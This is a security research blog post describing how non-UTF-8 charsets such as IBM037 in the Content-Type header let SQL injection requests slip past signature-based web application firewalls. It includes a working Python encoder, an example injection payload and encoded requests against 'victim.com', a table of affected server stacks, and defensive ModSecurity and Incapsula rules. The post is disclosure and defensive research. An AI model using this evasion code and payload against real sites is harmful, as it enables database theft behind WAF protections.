Request Encoding to Bypass Web Application Firewalls

This blog post introduces a technique to send HTTP requests using encoding. This method should be added to the list of tests performed to measure effectiveness of a web application firewall (WAF).

This work was presented as part of the 'A Forgotten HTTP Invisibility Cloak' talk [1] at the SteelCon 2017 and BSides Manchester 2017 conferences by Soroush Dalili (@irsdl).

Scope & background

We have only tested this technique against the following web server setups during this research. As a result, other web servers and setups might potentially behave in the same way:

- Nginx, uWSGI-Django-Python2 & 3
- Apache-TOMCAT7/8-JVM1.6/1.8-JSP
- Apache-PHP5 (mod_php & FastCGI)
- IIS (6, 7.5, 8, 10) on ASP Classic, ASP.NET and PHP7.1-FastCGI

Among these, ASP Classic and PHP on Apache and IIS were unaffected by the method explained here.

If you have tested web applications or dealt with HTTP requests, the Content-Type header should be familiar as it is used to indicate the media type of the message [2]. This header can be used in request and response messages.

The following shows a number of examples:

```
Content-Type: text/html; charset=UTF-8
Content-Type: application/json; charset=utf-8
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Type: multipart/form-data; boundary=something
```

The first two are normally seen in the HTTP responses, while the last two are normally used to send HTTP requests with a body.

The charset values are normally important when dealing with responses as they can change the behaviour of web browsers. As stated by MDN [3]: "character encoding provides an encoding system for specific characters in different languages, to allow them all to exist and be handled consistently in a computer system or programming environment". This is useful to show multiple languages or to perform obfuscated attacks such as cross-site scripting. However, this parameter can also be sent in requests!

Although using different character encoding parameters in requests is not new, we could not find any evidence that this was used to bypass WAF solutions previously.

Signature-based WAF products that use blacklists do not normally understand different character encodings. Therefore, it is possible to smuggle HTTP requests through an affected WAF solution to hit the web application directly.

Details

We have used an example to explain the encoding behaviour. A WAF will block the following HTTP request because of the SQL injection payload in the input1 parameter:

```
POST /sample.aspx?input0=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

input1='union all select * from users--
```

We want to use another encoding that can obfuscate our payload in order to smuggle it through the WAF. In this example, we were dealing with an ASPX page on an IIS server. We could use utf-16 or utf-32 and add null characters between the current characters; however, it was blocked by our WAF due to the use of null characters.

Additionally, encodings such as euc-kr were not useful to smuggle the requests properly as they converted some of the higher ASCII characters to the ? character. Therefore, we used an encoding such as ibm037 [4] that changed the position of ASCII characters which was perfect for obfuscation.

The following Python code was created to help us more easily encode the parameters:

```
import urllib

def paramEncode(params="", charset="IBM037", encodeEqualSign=False,
encodeAmpersand=False, urldecodeInput=True, urlencodeOutput=True):
    result = ""
    equalSign = "="
    ampersand = "&"
    if encodeEqualSign:
        equalSign = equalSign.encode(charset)
    if encodeAmpersand:
        ampersand = ampersand.encode(charset)
    params_list = params.split("&")
    for param_pair in params_list:
        param, value = param_pair.split("=")
        if urldecodeInput:
            param = urllib.unquote(param).decode('utf8')
            value = urllib.unquote(value).decode('utf8')
        param = param.encode(charset)
        value = value.encode(charset)
        if urlencodeOutput:
            param = urllib.quote_plus(param)
            value = urllib.quote_plus(value)
        if result:
            result += ampersand
        result += param + equalSign + value
    return result

print paramEncode("input1='union all select * from users--")

# prints
%89%95%97%A4%A3%F1=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86
%99%96%94%40%A4%A2%85%99%A2%60%60
```

On IIS, the query string parameters were also required to be encoded using the same process. As a result, the original HTTP request was changed to:

```
POST /sample.aspx?%89%95%97%A4%A3%F0=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%95%97%A4%A3%F1=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86
%99%96%94%40%A4%A2%85%99%A2%60%60
```

We could, in fact, send them without URL encoding in this case for IIS. The above request could be used to smuggle our payload through a WAF. This new HTTP request was the same as the original request from the application's perspective.

The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):

Target	**POST** **(application/x-www-form-urlencoded)**	**Note(s)**
Nginx,uWSGI-Django-Python3	IBM037, IBM500, cp875, IBM1026, IBM273	[x] query string and body were encoded [x] url-decoded parameters in query string and body afterwards

		[x] equal sign and ampersand needed to be encoded as well (no url-encoding)
Nginx,uWSGI-Django-Python2	IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424	[x] query string and body were encoded [x] url-encoded parameters in query string and body [x] equal sign and ampersand should not be encoded in any way
Apache-TOMCAT8-JVM1.8-JSP	IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025	[x] query string in its original format (not encoded – could be url- encoded as usual) [x] equal sign and ampersand should not be encoded in any way [x] body could be sent with/without url-encoding
Apache-TOMCAT7-JVM1.6-JSP	IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025	[x] query string in its original format (not encoded) [x] equal sign and ampersand should not be encoded [x] body could be sent with/without url-encoding
Apache -PHP5(mod_php & FastCGI)	None	N/A
IIS8-PHP7.1-FastCGI	None	N/A
IIS6, 7.5, 8, 10 -ASP Classic	None	N/A
IIS6, 7.5, 8, 10 -ASPX (v4.x)	IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025	[x] query string and body were encoded [x] equal sign and ampersand should not be encoded [x] body could be sent with/without url-encoding

The set of character encodings were collected from [5] - this list should not be considered exhaustive as to the encodings supported by the web servers.

Workaround

If it is not possible to decode the message bodies correctly to perform further analysis, WAFs should only allow requests that use known character encodings.

For example, the following rule could be applied on ModSecurity [6] to only allow charset=utf-8 in the Content-Type header:

```
SecRule REQUEST_HEADERS:Content-Type "@rx (?i)charset\s*=\s*(?!utf\-8)"
"id:'1313371',phase:1,t:none,deny,log,msg:'Invalid charset not allowed',
logdata:'%{MATCHED_VAR}'"
```

A similar rule could be applied on Incapsula [7]:

```
Content-Type contains "charset" & Content-Type not-contains "charset=utf-8"
```

References

[1] https://www.slideshare.net/SoroushDalili/a-forgotten-http-invisibility-cloak

[2] https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/

[3] https://developer.mozilla.org/en-US/docs/Glossary/character_encoding

[4] http://www.fileformat.info/info/charset/IBM037/encode.htm

[5] https://msdn.microsoft.com/en-us/library/system.text.encodinginfo.getencoding.aspx

[6] https://modsecurity.org/

[7] https://www.incapsula.com/